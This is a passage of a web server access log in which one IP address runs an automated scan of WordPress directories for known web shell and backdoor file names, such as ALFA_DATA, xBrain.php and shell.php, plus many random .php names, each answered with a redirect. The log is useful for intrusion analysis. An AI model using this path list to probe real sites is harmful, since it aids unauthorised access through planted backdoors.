[19/Apr/2025:19:41:50 -0400] "GET /wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:41:52 -0400] "GET /wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:41:55 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:41:57 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:41:59 -0400] "GET /wp-files.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:00 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:01 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:03 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:05 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:09 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:12 -0400] "GET /wp-includes//403.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:14 -0400] "GET /wp-includes//defaults.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:18 -0400] "GET /wp-includes//item.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:20 -0400] "GET /wp-includes//langar.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:22 -0400] "GET /wp-includes//wp-class.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:23 -0400] "GET /wp-includes/1DTeo4NlXvb.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:24 -0400] "GET /wp-includes/1QVvI3Jefd9.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:26 -0400] "GET /wp-includes/1V7NZKd4MAb.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:29 -0400] "GET /wp-includes/1fwQh4mlL6U.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:30 -0400] "GET /wp-includes/25z1pj6D8ho.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:31 -0400] "GET /wp-includes/2CYFwmbVjRf.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:33 -0400] "GET /wp-includes/2ECeRgwNa6I.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:35 -0400] "GET /wp-includes/2JZ6GvDSsgd.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:36 -0400] "GET /wp-includes/2JeUH5dNZ7X.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:38 -0400] "GET /wp-includes/2M5k3hBNA8L.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:40 -0400] "GET /wp-includes/2VGWUt94ypz.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:43 -0400] "GET /wp-includes/2VJGUWYBXMZ.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:44 -0400] "GET /wp-includes/2fd5iBxGvVt.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:46 -0400] "GET /wp-includes/31vLXnGsWhN.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:48 -0400] "GET /wp-includes/3RTGVYtrpSz.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:49 -0400] "GET /wp-includes/3TaxWwPciN5.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:50 -0400] "GET /wp-includes/3UiGPRTjwLI.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:52 -0400] "GET /wp-includes/3Wg6OxdwEuL.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:53 -0400] "GET /wp-includes/3aWTmqSkEDF.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:53 -0400] "GET /wp-includes/3yATdSmwkho.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:54 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:55 -0400] "GET /wp-includes/4Gh2KC3UQEc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:56 -0400] "GET /wp-includes/4HGIbcrUWhy.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:42:58 -0400] "GET /wp-includes/4MkuIlCN8cB.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:00 -0400] "GET /wp-includes/4NDvJxdAckU.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:01 -0400] "GET /wp-includes/4REzCXlesoN.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:03 -0400] "GET /wp-includes/4Y9KOVRvqrP.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:04 -0400] "GET /wp-includes/4a8ZmAdfYEk.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:05 -0400] "GET /wp-includes/4oaMT6spgwP.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:08 -0400] "GET /wp-includes/5Z4iTjIRAFz.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:10 -0400] "GET /wp-includes/5nUKyurCbLe.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:12 -0400] "GET /wp-includes/5qK7TMEc8fY.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:14 -0400] "GET /wp-includes/5tocX6Gkref.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:16 -0400] "GET /wp-includes/624jlHax7f5.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:17 -0400] "GET /wp-includes/6EeSZtdQrch.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:18 -0400] "GET /wp-includes/6I2vUbTadJO.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:19 -0400] "GET /wp-includes/6U71KzQC98S.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:20 -0400] "GET /wp-includes/6ZKP9RiYwlM.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:21 -0400] "GET /wp-includes/6g3VEPfspOJ.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:21 -0400] "GET /wp-includes/6kjOKB13oiW.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:22 -0400] "GET /wp-includes/7LGSNpCH2Ai.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:23 -0400] "GET /wp-includes/7QkOwJbC4uB.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:24 -0400] "GET /wp-includes/7XhnbeQUrHB.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:25 -0400] "GET /wp-includes/7kGBWef4vJE.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:26 -0400] "GET /wp-includes/7tc9J8MbNDP.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:27 -0400] "GET /wp-includes/849MWReQf5d.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:28 -0400] "GET /wp-includes/85YZsyCUMRH.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:29 -0400] "GET /wp-includes/8XnPa2ebzjt.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:32 -0400] "GET /wp-includes/8a1GFlXOC3W.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:33 -0400] "GET /wp-includes/95GjR2oLVAq.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:34 -0400] "GET /wp-includes/9KclI8whVCt.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:36 -0400] "GET /wp-includes/9KoYaRW2ViG.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:38 -0400] "GET /wp-includes/9hloDMCajiE.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:39 -0400] "GET /wp-includes/9wHCYkXhFat.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:40 -0400] "GET /wp-includes/ADdHqTvWe2p.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:41 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:43 -0400] "GET /wp-includes/AYWw86V4lCb.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:45 -0400] "GET /wp-includes/Ab5tdXYSp3m.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:46 -0400] "GET /wp-includes/AeLiyXCsWRP.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:47 -0400] "GET /wp-includes/Am8DjQ1hYCM.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:50 -0400] "GET /wp-includes/BNdZcrqfp96.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:51 -0400] "GET /wp-includes/BSKlRtNkd7T.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:53 -0400] "GET /wp-includes/BW78qubSIi6.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:56 -0400] "GET /wp-includes/BibpeUT6Srj.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:57 -0400] "GET /wp-includes/BlANITrsFn8.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:43:59 -0400] "GET /wp-includes/C7aqylzu2vp.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:00 -0400] "GET /wp-includes/CQ3u7inwjcm.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:00 -0400] "GET /wp-includes/CWOqpEgKZFG.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:01 -0400] "GET /wp-includes/CZVFJ1iETu9.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:02 -0400] "GET /wp-includes/Cla7mpMXqtZ.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:03 -0400] "GET /wp-includes/Cpg5hsHwVa3.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:03 -0400] "GET /wp-includes/CqPtQH6xgFv.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:04 -0400] "GET /wp-includes/D2a4qMfz8OV.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:05 -0400] "GET /wp-includes/D3XbzaLTdoy.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:06 -0400] "GET /wp-includes/DBb75TX4aSq.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:07 -0400] "GET /wp-includes/DbBih7UaJ18.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:07 -0400] "GET /wp-includes/DdWzLZVYfG4.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:08 -0400] "GET /wp-includes/DfO9S2sWQeR.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:08 -0400] "GET /wp-includes/E52uQzbthDP.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:09 -0400] "GET /wp-includes/E7caMueJAdD.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:09 -0400] "GET /wp-includes/EM2AyNLX1Zx.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:10 -0400] "GET /wp-includes/EO2kroQhpUu.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:11 -0400] "GET /wp-includes/EoeIH4JmfTi.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:12 -0400] "GET /wp-includes/F8Jx6Xd2jpQ.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:12 -0400] "GET /wp-includes/FBpLfr2oR3M.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:13 -0400] "GET /wp-includes/FRmiwXUtO2K.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:14 -0400] "GET /wp-includes/G3jIOZXasr7.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:15 -0400] "GET /wp-includes/GahxXyLrlK3.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:17 -0400] "GET /wp-includes/GlRsTyKuOLA.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:18 -0400] "GET /wp-includes/H4PwluIEUzJ.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:20 -0400] "GET /wp-includes/HJen2iTjI54.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:21 -0400] "GET /wp-includes/HdkrAtBgUxW.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:22 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:22 -0400] "GET /wp-includes/ID3//file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:23 -0400] "GET /wp-includes/ID3/?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:24 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:26 -0400] "GET /wp-includes/ID3/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:29 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:30 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:33 -0400] "GET /wp-includes/ID3/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:36 -0400] "GET /wp-includes/ID3/module.audio-video.matroska-meta.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:39 -0400] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:41 -0400] "GET /wp-includes/ID3/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:42 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:43 -0400] "GET /wp-includes/ID3/x2.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:44 -0400] "GET /wp-includes/ID3/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:47 -0400] "GET /wp-includes/IS1QFBAdReV.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:49 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:51 -0400] "GET /wp-includes/IXR//4pgwp.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:52 -0400] "GET /wp-includes/IXR//%3Cahref=%22/wp-includes/IXR/class-IXR-base64.php%22%3E%3Cimgclass=%22icon%22src=%22/_autoindex/assets/icons/file-text.svg%22alt=%22[TXT]%22%3Eclass-IXR-base64.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:54 -0400] "GET /wp-includes/IXR//wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:56 -0400] "GET /wp-includes/IXR/%3Cahref=%22/wp-includes/IXR/class-IXR-base64.php%22%3E%3Cimgclass=%22icon%22src=%22/_autoindex/assets/icons/file-text.svg%22alt=%22[TXT]%22%3Eclass-IXR-base64.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:57 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:58 -0400] "GET /wp-includes/IXR/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:44:59 -0400] "GET /wp-includes/IXR/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:00 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:01 -0400] "GET /wp-includes/IXR/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:02 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:05 -0400] "GET /wp-includes/IXR/install.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:09 -0400] "GET /wp-includes/IXR/shell.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:12 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:14 -0400] "GET /wp-includes/IXR/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:15 -0400] "GET /wp-includes/Ie9FSsVMDEo.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:17 -0400] "GET /wp-includes/ImZgvy9khUu.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:21 -0400] "GET /wp-includes/IsENazRPM4h.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:23 -0400] "GET /wp-includes/J3N7PX4jYKg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:25 -0400] "GET /wp-includes/J7ZayUDxCQ4.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:28 -0400] "GET /wp-includes/JIz2LsNDm5G.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:30 -0400] "GET /wp-includes/JYR4ws5QDu6.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:32 -0400] "GET /wp-includes/JjIpHUP5ElO.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:33 -0400] "GET /wp-includes/JnMRlNQOs3b.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:35 -0400] "GET /wp-includes/K19VSjmkeCT.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:38 -0400] "GET /wp-includes/K8IgxOsEFvo.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:41 -0400] "GET /wp-includes/KHoAlLs3129.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:44 -0400] "GET /wp-includes/LOE5823rYzM.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:47 -0400] "GET /wp-includes/LSHGvrN9Cjf.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:49 -0400] "GET /wp-includes/LYw1ni9VJTl.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:51 -0400] "GET /wp-includes/MhZYbFS2rGd.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:52 -0400] "GET /wp-includes/MoJhLeWjBrg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:53 -0400] "GET /wp-includes/Mq8vhT4yYVO.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:55 -0400] "GET /wp-includes/MxbiKEFOXQy.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:45:58 -0400] "GET /wp-includes/NCImtphZOK5.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:00 -0400] "GET /wp-includes/O5Z8Gyn4EIh.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:00 -0400] "GET /wp-includes/OYStpqjgDZ5.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:02 -0400] "GET /wp-includes/OhpfCSna9Vc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:05 -0400] "GET /wp-includes/OwG5LmjClXZ.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:06 -0400] "GET /wp-includes/PBfZp95n2Ud.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:08 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:09 -0400] "GET /wp-includes/PHPMailer//2222.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:10 -0400] "GET /wp-includes/PHPMailer//Ab0ut.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:11 -0400] "GET /wp-includes/PHPMailer//about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:11 -0400] "GET /wp-includes/PHPMailer//indexx.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:12 -0400] "GET /wp-includes/PHPMailer//themes-install.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:13 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:14 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:15 -0400] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:16 -0400] "GET /wp-includes/PHPMailer/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:17 -0400] "GET /wp-includes/Q4TbrMq6sSk.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:20 -0400] "GET /wp-includes/Q8yL6j2i9zk.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:22 -0400] "GET /wp-includes/QLJoTSZn46j.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:24 -0400] "GET /wp-includes/QewG7L1lTkb.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:27 -0400] "GET /wp-includes/QgfAohVSwD1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:29 -0400] "GET /wp-includes/Qj9rebE2xow.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:31 -0400] "GET /wp-includes/Qm9vKED1AXP.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:34 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:36 -0400] "GET /wp-includes/Requests//cong.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:38 -0400] "GET /wp-includes/Requests//hellodoyyl.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:41 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:41 -0400] "GET /wp-includes/Requests/Auth//images.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:42 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:44 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:46 -0400] "GET /wp-includes/Requests/Exception/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:48 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:49 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:49 -0400] "GET /wp-includes/Requests/Response//siteindex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:50 -0400] "GET /wp-includes/Requests/Response//wp-theme.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:51 -0400] "GET /wp-includes/Requests/Response/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:51 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:52 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:53 -0400] "GET /wp-includes/Requests/Utility/cc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:54 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:54 -0400] "GET /wp-includes/Requests/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:55 -0400] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:56 -0400] "GET /wp-includes/Requests/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:57 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:58 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:58 -0400] "GET /wp-includes/Requests/src/Auth/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:59 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:46:59 -0400] "GET /wp-includes/SimplePie//f-index4.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:47:00 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - 